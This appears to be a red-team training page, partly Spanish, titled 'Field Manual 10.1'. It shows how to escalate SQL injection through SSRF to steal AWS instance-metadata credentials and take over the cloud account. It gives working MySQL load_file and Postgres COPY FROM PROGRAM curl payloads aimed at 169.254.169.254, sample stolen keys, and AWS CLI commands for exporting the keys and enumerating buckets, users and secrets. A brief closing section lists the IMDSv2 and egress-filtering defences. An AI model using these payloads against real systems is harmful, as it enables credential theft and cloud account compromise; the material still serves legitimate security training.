📕 FIELD MANUAL 10.1: CLOUD NATIVE SQLi (DB TO CLOUD ADMIN)
Objective: We will escalate a SQL Injection vulnerability to compromise the entire AWS, Azure, or GCP account using SSRF (Server-Side Request...
Classification: RED TEAM EYES ONLY
Objective: We will escalate a SQL Injection vulnerability to compromise the entire AWS, Azure, or GCP account via SSRF (Server-Side Request Forgery).
MITRE ATT&CK: T1526 (Cloud Service Discovery), T1078 (Valid Accounts).
1. INTEL & RECON: THE ATTACK CHAIN (KILL CHAIN)
Sección titulada «1. INTEL & RECON: LA CADENA DE ATAQUE (KILL CHAIN)»In the cloud, instances (EC2, VM) have an identity. The “password” for that identity is available at a local magic URL: 169.254.169.254.
The Plan:
- We will use the DB as a proxy (SSRF).
- We will request the Instance Metadata Service (IMDS) credentials.
- We will log in to AWS CLI as that machine.
2. WEAPONIZATION: AWS METADATA EXTRACTION
Sección titulada «2. WEAPONIZATION: AWS METADATA EXTRACTION»STEP 1: Trigger SSRF (The Request)
Sección titulada «PASO 1: Trigger SSRF (La Petición)»We will use DB functions that allow reading external files or URLs.
- MySQL/MariaDB:
SELECT load_file('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); - Postgres:
COPY ... FROM PROGRAM 'curl ...'
STEP 2: Role Enumeration
Sección titulada «PASO 2: Enumeración de Roles»The response from step 1 will reveal the name of the role associated with the machine.
- DB Response:
production-db-role
STEP 3: Final Extraction (The Keys to the Kingdom)
Sección titulada «PASO 3: Extracción Final (Las Llaves del Reino)»We will concatenate the role to the URL to obtain the temporary keys.
Final Payload:
SELECT load_file('[http://169.254.169.254/latest/meta-data/iam/security-credentials/production-db-role](http://169.254.169.254/latest/meta-data/iam/security-credentials/production-db-role)');Loot:
{ "AccessKeyId": "ASIA...", "SecretAccessKey": "wJalrXU...", "Token": "IQoJb3JpZ2lu..."}3. ESCALATION: FROM SQL TO AWS CONSOLE
Sección titulada «3. ESCALADA: DE SQL A AWS CONSOLE»- We will configure: In our attacker terminal:
export AWS_ACCESS_KEY_ID=ASIA...export AWS_SECRET_ACCESS_KEY=wJalrXU...export AWS_SESSION_TOKEN=IQoJb3JpZ2lu... - We will validate:
aws sts get-caller-identity - We will exploit:
aws s3 ls(List buckets)aws iam list-users(Enumerate users)aws ssm get-parameters(Steal secrets)
4. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «4. PURPLE TEAM VIEW (DEFENSA)»- IMDSv2: We will enforce the use of IMDSv2 in AWS. This requires a session token (
PUTrequest) that is almost impossible to generate via a simple SQL injection (GET). - Egress Filtering: We will block outbound connections from the database subnet to
169.254.169.254.

